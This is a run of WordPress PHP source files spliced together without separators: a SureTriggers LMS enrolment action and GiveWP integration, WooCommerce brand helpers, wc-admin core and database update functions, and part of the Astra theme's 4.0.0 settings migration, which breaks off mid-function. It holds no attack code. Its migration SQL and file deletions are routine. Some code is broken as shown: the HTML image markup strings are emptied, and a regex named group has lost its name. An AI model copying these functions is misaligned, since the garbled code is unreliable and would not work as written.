\STM_LMS_Course::add_user_course( $course_id, $user_id, \STM_LMS_Course::item_url( $course_id, '' ), 0 );
\STM_LMS_Course::add_student( $course_id );
}
$response = [
'status' => esc_attr__( 'Success', 'suretriggers' ),
'response' => esc_attr__( 'User enrolled into course successfully.', 'suretriggers' ),
];
} else {
$response = [
'status' => esc_attr__( 'Success', 'suretriggers' ),
'response' => esc_attr__( 'User already enrolled into this course.', 'suretriggers' ),
];
}
return $response;
}
}
}
EnrollUserToCourse::get_instance();/**
* GiveWP integrations file
*
* @since 1.0.0
* @package SureTrigger
*/
namespace SureTriggers\Integrations\GiveWP;
use Give;
use SureTriggers\Controllers\IntegrationsController;
use SureTriggers\Integrations\Integrations;
use SureTriggers\Traits\SingletonLoader;
/**
* Class SureTrigger
*
* @package SureTriggers\Integrations\GiveWP
*/
class GiveWP extends Integrations {
use SingletonLoader;
/**
* ID
*
* @var string
*/
protected $id = 'GiveWP';
/**
* SureTrigger constructor.
*/
public function __construct() {
$this->name = __( 'GiveWP', 'suretriggers' );
$this->description = __( 'GiveWP is an evolving WordPress donation plugin with a team that genuinely cares about advancing the democratization of generosity.', 'suretriggers' );
$this->icon_url = SURE_TRIGGERS_URL . 'assets/icons/givewp.svg';
parent::__construct();
}
/**
* Is Plugin depended plugin is installed or not.
*
* @return bool
*/
public function is_plugin_installed() {
return class_exists( Give::class );
}
}
IntegrationsController::register( GiveWP::class );/**
* Brands Helper Functions
*
* Important: For internal use only by the Automattic\WooCommerce\Internal\Brands package.
*
* @package WooCommerce
* @version 9.4.0
*/
declare( strict_types = 1);
/**
* Helper function :: wc_get_brand_thumbnail_url function.
*
* @param int $brand_id Brand ID.
* @param string $size Thumbnail image size.
* @return string
*/
function wc_get_brand_thumbnail_url( $brand_id, $size = 'full' ) {
$thumbnail_id = get_term_meta( $brand_id, 'thumbnail_id', true );
if ( $thumbnail_id ) {
$thumb_src = wp_get_attachment_image_src( $thumbnail_id, $size );
}
return ! empty( $thumb_src ) ? current( $thumb_src ) : '';
}
/**
* Helper function :: wc_get_brand_thumbnail_image function.
*
* @since 9.4.0
*
* @param object $brand Brand term.
* @param string $size Thumbnail image size.
* @return string
*/
function wc_get_brand_thumbnail_image( $brand, $size = '' ) {
$thumbnail_id = get_term_meta( $brand->term_id, 'thumbnail_id', true );
if ( '' === $size || 'brand-thumb' === $size ) {
/**
* Filter the brand's thumbnail size.
*
* @since 9.4.0
*
* @param string $size Brand's thumbnail size.
*/
$size = apply_filters( 'woocommerce_brand_thumbnail_size', 'shop_catalog' );
}
if ( $thumbnail_id ) {
$image_src = wp_get_attachment_image_src( $thumbnail_id, $size );
$image_src = $image_src[0];
$dimensions = wc_get_image_size( $size );
$image_srcset = function_exists( 'wp_get_attachment_image_srcset' ) ? wp_get_attachment_image_srcset( $thumbnail_id, $size ) : false;
$image_sizes = function_exists( 'wp_get_attachment_image_sizes' ) ? wp_get_attachment_image_sizes( $thumbnail_id, $size ) : false;
} else {
$image_src = wc_placeholder_img_src();
$dimensions = wc_get_image_size( $size );
$image_srcset = false;
$image_sizes = false;
}
// Add responsive image markup if available.
if ( $image_srcset && $image_sizes ) {
$image = '
';
} else {
$image = '
';
}
return $image;
}
/**
* Retrieves product's brands.
*
* @param int $post_id Post ID (default: 0).
* @param string $sep Seperator (default: ').
* @param string $before Before item (default: '').
* @param string $after After item (default: '').
* @return array List of terms
*/
function wc_get_brands( $post_id = 0, $sep = ', ', $before = '', $after = '' ) {
global $post;
if ( ! $post_id ) {
$post_id = $post->ID;
}
return get_the_term_list( $post_id, 'product_brand', $before, $sep, $after );
}
/**
* Polyfills for backwards compatibility with the WooCommerce Brands plugin.
*/
if ( ! function_exists( 'get_brand_thumbnail_url' ) ) {
/**
* Polyfill for get_brand_thumbnail_image.
*
* @param int $brand_id Brand ID.
* @param string $size Thumbnail image size.
* @return string
*/
function get_brand_thumbnail_url( $brand_id, $size = 'full' ) {
return wc_get_brand_thumbnail_url( $brand_id, $size );
}
}
if ( ! function_exists( 'get_brand_thumbnail_image' ) ) {
/**
* Polyfill for get_brand_thumbnail_image.
*
* @param object $brand Brand term.
* @param string $size Thumbnail image size.
* @return string
*/
function get_brand_thumbnail_image( $brand, $size = '' ) {
return wc_get_brand_thumbnail_image( $brand, $size );
}
}
if ( ! function_exists( 'get_brands' ) ) {
/**
* Polyfill for get_brands.
*
* @param int $post_id Post ID (default: 0).
* @param string $sep Seperator (default: ').
* @param string $before Before item (default: '').
* @param string $after After item (default: '').
* @return array List of terms
*/
function get_brands( $post_id = 0, $sep = ', ', $before = '', $after = '' ) {
return wc_get_brands( $post_id, $sep, $before, $after );
}
}/**
* Core Functions
*
* Holds core functions for wc-admin.
*
* @package WooCommerce\Admin\Functions
*/
use Automattic\WooCommerce\Internal\Admin\Settings;
/**
* Format a number using the decimal and thousands separator settings in WooCommerce.
*
* @param mixed $number Number to be formatted.
* @return string
*/
function wc_admin_number_format( $number ) {
$currency_settings = Settings::get_currency_settings();
return number_format(
$number,
0,
$currency_settings['decimalSeparator'],
$currency_settings['thousandSeparator']
);
}
/**
* Retrieves a URL to relative path inside WooCommerce admin with
* the provided query parameters.
*
* @param string $path Relative path of the desired page.
* @param array $query Query parameters to append to the path.
*
* @return string Fully qualified URL pointing to the desired path.
*/
function wc_admin_url( $path = null, $query = array() ) {
if ( ! empty( $query ) ) {
$query_string = http_build_query( $query );
$path = $path ? '&path=' . $path . '&' . $query_string : '';
}
return admin_url( 'admin.php?page=wc-admin' . $path, dirname( __FILE__ ) );
}
/**
* Record an event using Tracks.
*
* @internal WooCommerce core only includes Tracks in admin, not the REST API, so we need to include it.
* @param string $event_name Event name for tracks.
* @param array $properties Properties to pass along with event.
*/
function wc_admin_record_tracks_event( $event_name, $properties = array() ) {
// WC post types must be registered first for WC_Tracks to work.
if ( ! post_type_exists( 'product' ) ) {
return;
}
if ( ! class_exists( 'WC_Tracks' ) ) {
if ( ! defined( 'WC_ABSPATH' ) || ! file_exists( WC_ABSPATH . 'includes/tracks/class-wc-tracks.php' ) ) {
return;
}
include_once WC_ABSPATH . 'includes/tracks/class-wc-tracks.php';
include_once WC_ABSPATH . 'includes/tracks/class-wc-tracks-event.php';
include_once WC_ABSPATH . 'includes/tracks/class-wc-tracks-client.php';
include_once WC_ABSPATH . 'includes/tracks/class-wc-tracks-footer-pixel.php';
include_once WC_ABSPATH . 'includes/tracks/class-wc-site-tracking.php';
}
WC_Tracks::record_event( $event_name, $properties );
}/**
* WooCommerce Admin Updates
*
* Functions for updating data, used by the background updater.
*
* @package WooCommerce\Admin
*/
use Automattic\WooCommerce\Admin\Features\OnboardingTasks\TaskLists;
use Automattic\WooCommerce\Admin\Notes\Notes;
use Automattic\WooCommerce\Internal\Admin\Notes\UnsecuredReportFiles;
use Automattic\WooCommerce\Admin\ReportExporter;
/**
* Update order stats `status` index length.
* See: https://github.com/woocommerce/woocommerce-admin/issues/2969.
*/
function wc_admin_update_0201_order_status_index() {
global $wpdb;
// Max DB index length. See wp_get_db_schema().
$max_index_length = 191;
$index = $wpdb->get_row( "SHOW INDEX FROM {$wpdb->prefix}wc_order_stats WHERE key_name = 'status'" );
if ( property_exists( $index, 'Sub_part' ) ) {
// The index was created with the right length. Time to bail.
if ( $max_index_length === $index->Sub_part ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName
return;
}
// We need to drop the index so it can be recreated.
$wpdb->query( "DROP INDEX `status` ON {$wpdb->prefix}wc_order_stats" );
}
// Recreate the status index with a max length.
$wpdb->query( $wpdb->prepare( "ALTER TABLE {$wpdb->prefix}wc_order_stats ADD INDEX status (status(%d))", $max_index_length ) );
}
/**
* Rename "gross_total" to "total_sales".
* See: https://github.com/woocommerce/woocommerce-admin/issues/3175
*/
function wc_admin_update_0230_rename_gross_total() {
global $wpdb;
// We first need to drop the new `total_sales` column, since dbDelta() will have created it.
$wpdb->query( "ALTER TABLE {$wpdb->prefix}wc_order_stats DROP COLUMN `total_sales`" );
// Then we can rename the existing `gross_total` column.
$wpdb->query( "ALTER TABLE {$wpdb->prefix}wc_order_stats CHANGE COLUMN `gross_total` `total_sales` double DEFAULT 0 NOT NULL" );
}
/**
* Remove the note unsnoozing scheduled action.
*/
function wc_admin_update_0251_remove_unsnooze_action() {
as_unschedule_action( Notes::UNSNOOZE_HOOK, null, 'wc-admin-data' );
as_unschedule_action( Notes::UNSNOOZE_HOOK, null, 'wc-admin-notes' );
}
/**
* Remove Facebook Extension note.
*/
function wc_admin_update_110_remove_facebook_note() {
Notes::delete_notes_with_name( 'wc-admin-facebook-extension' );
}
/**
* Remove Dismiss action from tracking opt-in admin note.
*/
function wc_admin_update_130_remove_dismiss_action_from_tracking_opt_in_note() {
global $wpdb;
$wpdb->query( "DELETE actions FROM {$wpdb->prefix}wc_admin_note_actions actions INNER JOIN {$wpdb->prefix}wc_admin_notes notes USING (note_id) WHERE actions.name = 'tracking-dismiss' AND notes.name = 'wc-admin-usage-tracking-opt-in'" );
}
/**
* Update DB Version.
*/
function wc_admin_update_130_db_version() {
Installer::update_db_version( '1.3.0' );
}
/**
* Update DB Version.
*/
function wc_admin_update_140_db_version() {
Installer::update_db_version( '1.4.0' );
}
/**
* Remove Facebook Experts note.
*/
function wc_admin_update_160_remove_facebook_note() {
Notes::delete_notes_with_name( 'wc-admin-facebook-marketing-expert' );
}
/**
* Set "two column" homescreen layout as default for existing stores.
*/
function wc_admin_update_170_homescreen_layout() {
add_option( 'woocommerce_default_homepage_layout', 'two_columns', '', 'no' );
}
/**
* Delete the preexisting export files.
*/
function wc_admin_update_270_delete_report_downloads() {
$upload_dir = wp_upload_dir();
$base_dir = trailingslashit( $upload_dir['basedir'] );
$failed_files = array();
$exports_status = get_option( ReportExporter::EXPORT_STATUS_OPTION, array() );
$has_failure = false;
if ( ! is_array( $exports_status ) ) {
// This is essentially the same path as files failing deletion. Handle as such.
return;
}
// Delete all export files based on the status option values.
foreach ( $exports_status as $key => $progress ) {
list( $report_type, $export_id ) = explode( ':', $key );
if ( ! $export_id ) {
continue;
}
$file = "{$base_dir}wc-{$report_type}-report-export-{$export_id}.csv";
$header = $file . '.headers';
// phpcs:ignore
if ( @file_exists( $file ) && false === @unlink( $file ) ) {
array_push( $failed_files, $file );
}
// phpcs:ignore
if ( @file_exists( $header ) && false === @unlink( $header ) ) {
array_push( $failed_files, $header );
}
}
// If the status option was missing or corrupt, there will be files left over.
$potential_exports = glob( $base_dir . 'wc-*-report-export-*.csv' );
$reports_pattern = '(revenue|products|variations|orders|categories|coupons|taxes|stock|customers|downloads)';
/**
* Look for files we can be reasonably sure were created by the report export.
*
* Export files we created will match the 'wc-*-report-export-*.csv' glob, with
* the first wildcard being one of the exportable report slugs, and the second
* being an integer with 11-14 digits (from microtime()'s output) that represents
* a time in the past.
*/
foreach ( $potential_exports as $potential_export ) {
$matches = array();
// See if the filename matches an unfiltered export pattern.
if ( ! preg_match( "/wc-{$reports_pattern}-report-export-(?P\d{11,14})\.csv\$/", $potential_export, $matches ) ) {
$has_failure = true;
continue;
}
// Validate the timestamp (anything in the past).
$timestamp = (int) substr( $matches['export_id'], 0, 10 );
if ( ! $timestamp || $timestamp > time() ) {
$has_failure = true;
continue;
}
// phpcs:ignore
if ( false === @unlink( $potential_export ) ) {
array_push( $failed_files, $potential_export );
}
}
// Try deleting failed files once more.
foreach ( $failed_files as $failed_file ) {
// phpcs:ignore
if ( false === @unlink( $failed_file ) ) {
$has_failure = true;
}
}
if ( $has_failure ) {
UnsecuredReportFiles::possibly_add_note();
}
}
/**
* Update the old task list options.
*/
function wc_admin_update_271_update_task_list_options() {
$hidden_lists = get_option( 'woocommerce_task_list_hidden_lists', array() );
$setup_list_hidden = get_option( 'woocommerce_task_list_hidden', 'no' );
$extended_list_hidden = get_option( 'woocommerce_extended_task_list_hidden', 'no' );
if ( 'yes' === $setup_list_hidden ) {
$hidden_lists[] = 'setup';
}
if ( 'yes' === $extended_list_hidden ) {
$hidden_lists[] = 'extended';
}
update_option( 'woocommerce_task_list_hidden_lists', array_unique( $hidden_lists ) );
delete_option( 'woocommerce_task_list_hidden' );
delete_option( 'woocommerce_extended_task_list_hidden' );
}
/**
* Update order stats `status`.
*/
function wc_admin_update_280_order_status() {
global $wpdb;
$wpdb->query(
"UPDATE {$wpdb->prefix}wc_order_stats refunds
INNER JOIN {$wpdb->prefix}wc_order_stats orders
ON orders.order_id = refunds.parent_id
SET refunds.status = orders.status
WHERE refunds.parent_id != 0"
);
}
/**
* Update the old task list options.
*/
function wc_admin_update_290_update_apperance_task_option() {
$is_actioned = get_option( 'woocommerce_task_list_appearance_complete', false );
$task = TaskLists::get_task( 'appearance' );
if ( $task && $is_actioned ) {
$task->mark_actioned();
}
delete_option( 'woocommerce_task_list_appearance_complete' );
}
/**
* Delete the old woocommerce_default_homepage_layout option.
*/
function wc_admin_update_290_delete_default_homepage_layout_option() {
delete_option( 'woocommerce_default_homepage_layout' );
}
/**
* Use woocommerce_admin_activity_panel_inbox_last_read from the user meta to set wc_admin_notes.is_read col.
*/
function wc_admin_update_300_update_is_read_from_last_read() {
global $wpdb;
$meta_key = 'woocommerce_admin_activity_panel_inbox_last_read';
// phpcs:ignore
$users = get_users( "meta_key={$meta_key}&orderby={$meta_key}&fields=all_with_meta&number=1" );
if ( count( $users ) ) {
$last_read = current( $users )->{$meta_key};
$date_in_utc = gmdate( 'Y-m-d H:i:s', intval( $last_read ) / 1000 );
$wpdb->query(
$wpdb->prepare(
"
update {$wpdb->prefix}wc_admin_notes set is_read = 1
where
date_created <= %s",
$date_in_utc
)
);
$wpdb->query( $wpdb->prepare( "delete from {$wpdb->usermeta} where meta_key=%s", $meta_key ) );
}
}
/**
* Delete "is_primary" column from the wc_admin_notes table.
*/
function wc_admin_update_340_remove_is_primary_from_note_action() {
global $wpdb;
$wpdb->query( "ALTER TABLE {$wpdb->prefix}wc_admin_note_actions DROP COLUMN `is_primary`" );
}
/**
* Delete the deprecated remote inbox notifications option since transients are now used.
*/
function wc_update_670_delete_deprecated_remote_inbox_notifications_option() {
delete_option( 'wc_remote_inbox_notifications_specs' );
}/**
* Astra Updates
*
* Functions for updating data, used by the background updater.
*
* @package Astra
* @version 2.1.3
*/
defined( 'ABSPATH' ) || exit;
/**
* Clear Astra + Astra Pro assets cache.
*
* @since 3.6.1
* @return void.
*/
function astra_clear_all_assets_cache() {
if ( ! class_exists( 'Astra_Cache_Base' ) ) {
return;
}
// Clear Astra theme asset cache.
$astra_cache_base_instance = new Astra_Cache_Base( 'astra' );
$astra_cache_base_instance->refresh_assets( 'astra' );
// Clear Astra Addon's static and dynamic CSS asset cache.
$astra_addon_cache_base_instance = new Astra_Cache_Base( 'astra-addon' );
$astra_addon_cache_base_instance->refresh_assets( 'astra-addon' );
}
/**
* 4.0.0 backward handling part.
*
* 1. Migrate existing setting & do required onboarding for new admin dashboard v4.0.0 app.
* 2. Migrating Post Structure & Meta options in title area meta parts.
*
* @since 4.0.0
* @return void
*/
function astra_theme_background_updater_4_0_0() {
// Dynamic customizer migration starts here.
$theme_options = get_option( 'astra-settings', array() );
if ( ! isset( $theme_options['dynamic-blog-layouts'] ) && ! isset( $theme_options['theme-dynamic-customizer-support'] ) ) {
$theme_options['dynamic-blog-layouts'] = false;
$theme_options['theme-dynamic-customizer-support'] = true;
$post_types = Astra_Posts_Structure_Loader::get_supported_post_types();
// Archive summary box compatibility.
$archive_title_font_size = array(
'desktop' => isset( $theme_options['font-size-archive-summary-title']['desktop'] ) ? $theme_options['font-size-archive-summary-title']['desktop'] : 40,
'tablet' => isset( $theme_options['font-size-archive-summary-title']['tablet'] ) ? $theme_options['font-size-archive-summary-title']['tablet'] : '',
'mobile' => isset( $theme_options['font-size-archive-summary-title']['mobile'] ) ? $theme_options['font-size-archive-summary-title']['mobile'] : '',
'desktop-unit' => isset( $theme_options['font-size-archive-summary-title']['desktop-unit'] ) ? $theme_options['font-size-archive-summary-title']['desktop-unit'] : 'px',
'tablet-unit' => isset( $theme_options['font-size-archive-summary-title']['tablet-unit'] ) ? $theme_options['font-size-archive-summary-title']['tablet-unit'] : 'px',
'mobile-unit' => isset( $theme_options['font-size-archive-summary-title']['mobile-unit'] ) ? $theme_options['font-size-archive-summary-title']['mobile-unit'] : 'px',
);
$single_title_font_size = array(
'desktop' => isset( $theme_options['font-size-entry-title']['desktop'] ) ? $theme_options['font-size-entry-title']['desktop'] : '',
'tablet' => isset( $theme_options['font-size-entry-title']['tablet'] ) ? $theme_options['font-size-entry-title']['tablet'] : '',
'mobile' => isset( $theme_options['font-size-entry-title']['mobile'] ) ? $theme_options['font-size-entry-title']['mobile'] : '',
'desktop-unit' => isset( $theme_options['font-size-entry-title']['desktop-unit'] ) ? $theme_options['font-size-entry-title']['desktop-unit'] : 'px',
'tablet-unit' => isset( $theme_options['font-size-entry-title']['tablet-unit'] ) ? $theme_options['font-size-entry-title']['tablet-unit'] : 'px',
'mobile-unit' => isset( $theme_options['font-size-entry-title']['mobile-unit'] ) ? $theme_options['font-size-entry-title']['mobile-unit'] : 'px',
);
$archive_summary_box_bg = array(
'desktop' => array(
'background-color' => ! empty( $theme_options['archive-summary-box-bg-color'] ) ? $theme_options['archive-summary-box-bg-color'] : '',
'background-image' => '',
'background-repeat' => 'repeat',
'background-position' => 'center center',
'background-size' => 'auto',
'background-attachment' => 'scroll',
'background-type' => '',
'background-media' => '',
),
'tablet' => array(
'background-color' => '',
'background-image' => '',
'background-repeat' => 'repeat',
'background-position' => 'center center',
'background-size' => 'auto',
'background-attachment' => 'scroll',
'background-type' => '',
'background-media' => '',
),
'mobile' => array(
'background-color' => '',
'background-image' => '',
'background-repeat' => 'repeat',
'background-position' => 'center center',
'background-size' => 'auto',
'background-attachment' => 'scroll',
'background-type' => '',
'background-media' => '',
),
);
// Single post structure.
foreach ( $post_types as $index => $post_type ) {
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$single_post_structure = isset( $theme_options['blog-single-post-structure'] ) ? $theme_options['blog-single-post-structure'] : array( 'single-image', 'single-title-meta' );
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$migrated_post_structure = array();
if ( ! empty( $single_post_structure ) ) {
/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
foreach ( $single_post_structure as $key ) {
/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
if ( 'single-title-meta' === $key ) {
$migrated_post_structure[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title';
if ( 'post' === $post_type ) {
$migrated_post_structure[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-meta';
}
}
if ( 'single-image' === $key ) {
$migrated_post_structure[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-image';
}
}
$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-structure' ] = $migrated_post_structure;
}
// Single post meta.
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$single_post_meta = isset( $theme_options['blog-single-meta'] ) ? $theme_options['blog-single-meta'] : array( 'comments', 'category', 'author' );
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$migrated_post_metadata = array();
if ( ! empty( $single_post_meta ) ) {
$tax_counter = 0;
$tax_slug = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-taxonomy';
/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
foreach ( $single_post_meta as $key ) {
/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
switch ( $key ) {
case 'author':
$migrated_post_metadata[] = 'author';
break;
case 'date':
$migrated_post_metadata[] = 'date';
break;
case 'comments':
$migrated_post_metadata[] = 'comments';
break;
case 'category':
if ( 'post' === $post_type ) {
$migrated_post_metadata[] = $tax_slug;
$theme_options[ $tax_slug ] = 'category';
$tax_counter = ++$tax_counter;
$tax_slug = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-taxonomy-' . $tax_counter;
}
break;
case 'tag':
if ( 'post' === $post_type ) {
$migrated_post_metadata[] = $tax_slug;
$theme_options[ $tax_slug ] = 'post_tag';
$tax_counter = ++$tax_counter;
$tax_slug = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-taxonomy-' . $tax_counter;
}
break;
default:
break;
}
}
$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-metadata' ] = $migrated_post_metadata;
}
// Archive layout compatibilities.
$archive_banner_layout = ( class_exists( 'WooCommerce' ) && 'product' === $post_type ) ? false : true; // Setting WooCommerce archive option disabled as WC already added their header content on archive.
$theme_options[ 'ast-archive-' . esc_attr( $post_type ) . '-title' ] = $archive_banner_layout;
// Single layout compatibilities.
$single_banner_layout = ( class_exists( 'WooCommerce' ) && 'product' === $post_type ) ? false : true; // Setting WC single option disabled as there is no any header set from default WooCommerce.
$theme_options[ 'ast-single-' . esc_attr( $post_type ) . '-title' ] = $single_banner_layout;
// BG color support.
$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-image-type' ] = ! empty( $theme_options['archive-summary-box-bg-color'] ) ? 'custom' : 'none';
$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-custom-bg' ] = $archive_summary_box_bg;
// Archive title font support.
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-family' ] = ! empty( $theme_options['font-family-archive-summary-title'] ) ? $theme_options['font-family-archive-summary-title'] : '';
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-size' ] = $archive_title_font_size;
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-weight' ] = ! empty( $theme_options['font-weight-archive-summary-title'] ) ? $theme_options['font-weight-archive-summary-title'] : '';
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$archive_dynamic_line_height = ! empty( $theme_options['line-height-archive-summary-title'] ) ? $theme_options['line-height-archive-summary-title'] : '';
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$archive_dynamic_text_transform = ! empty( $theme_options['text-transform-archive-summary-title'] ) ? $theme_options['text-transform-archive-summary-title'] : '';
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-extras' ] = array(
'line-height' => $archive_dynamic_line_height,
'line-height-unit' => 'em',
'letter-spacing' => '',
'letter-spacing-unit' => 'px',
'text-transform' => $archive_dynamic_text_transform,
'text-decoration' => '',
);
// Archive title colors support.
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-title-color' ] = ! empty( $theme_options['archive-summary-box-title-color'] ) ? $theme_options['archive-summary-box-title-color'] : '';
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-text-color' ] = ! empty( $theme_options['archive-summary-box-text-color'] ) ? $theme_options['archive-summary-box-text-color'] : '';
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
// Single title colors support.
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-banner-title-color' ] = ! empty( $theme_options['entry-title-color'] ) ? $theme_options['entry-title-color'] : '';
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
// Single title font support.
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-family' ] = ! empty( $theme_options['font-family-entry-title'] ) ? $theme_options['font-family-entry-title'] : '';
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-size' ] = $single_title_font_size;
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-weight' ] = ! empty( $theme_options['font-weight-entry-title'] ) ? $theme_options['font-weight-entry-title'] : '';
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$single_dynamic_line_height = ! empty( $theme_options['line-height-entry-title'] ) ? $theme_options['line-height-entry-title'] : '';
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$single_dynamic_text_transform = ! empty( $theme_options['text-transform-entry-title'] ) ? $theme_options['text-transform-entry-title'] : '';
/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-extras' ] = array(
'line-height' => $single_dynamic_line_height,
'line-height-unit' => 'em',
'letter-spacing' => '',
'letter-spacing-unit' => 'px',
'text-transform' => $single_dynamic_text_transform,
'text-decoration' => '',
);
}
// Set page specific structure, as page only has featured image at top & title beneath to it, hardcoded writing it here.
$theme_options['ast-dynamic-single-page-structure'] = array( 'ast-dynamic-single-page-image', 'ast-dynamic-single-page-title' );
// EDD content layout & sidebar layout migration in new dynamic option.
$theme_options['archive-download-content-layout'] = isset( $theme_options['edd-archive-product-layout'] ) ? $theme_options['edd-archive-product-layout'] : 'default';
$theme_options['archive-download-sidebar-layout'] = isset( $theme_options['edd-sidebar-layout'] ) ? $theme_options['edd-sidebar-layout'] : 'no-sidebar';
$theme_options['single-download-content-layout'] = isset( $theme_options['edd-single-product-layout'] ) ? $theme_options['edd-single-product-layout'] : 'default';
$theme_options['single-download-sidebar-layout'] = isset( $theme_options['edd-single-product-sidebar-layout'] ) ? $theme_options['edd-single-product-sidebar-layout'] : 'default';
update_option( 'astra-settings', $theme_options );
}
// Admin backward handling starts here.
$admin_dashboard_settings = get_option( 'astra_admin_settings', array() );
if ( ! isset( $admin_dashboard_settings['theme-setup-admin-migrated'] ) ) {
if ( ! isset( $admin_dashboard_settings['self_hosted_gfonts'] ) ) {
$admin_dashboard_settings['self_hosted_gfonts'] = isset( $theme_options['load-google-fonts-locally'] ) ? $theme_options['load-google-fonts-locally'] : false;
}
if ( ! isset( $admin_dashboard_settings['preload_local_fonts'] ) ) {
$admin_dashboard_settings['preload_local_fonts'] = isset( $theme_options['preload-local-fonts'] ) ? $theme_options['preload-local-fonts'] : false;
}
// Consider admin part from theme side migrated.
$admin_dashboard_settings['theme-setup-admin-migrated'] = true;
update_option( 'astra_admin_settings', $admin_dashboard_settings );
}
// Check if existing user and disable smooth scroll-to-id.
if ( ! isset( $theme_options['enable-scroll-to-id'] ) ) {
$theme_options['enable-scroll-to-id'] = false;
update_option( 'astra-settings', $theme_options );
}
// Check if existing user and disable scroll to top if disabled from pro addons list.
$scroll_to_top_visibility = false;
/** @psalm-suppress UndefinedClass */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
if ( defined( 'ASTRA_EXT_VER' ) && Astra_Ext_Extension::is_active( 'scroll-to-top' ) ) {
/** @psalm-suppress UndefinedClass */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$scroll_to_top_visibility = true;
}
if ( ! isset( $theme_options['scroll-to-top-enable'] ) ) {
$theme_options['scroll-to-top-enable'] = $scroll_to_top_visibility;
update_option( 'astra-settings', $theme_options );
}
// Default colors & typography flag.
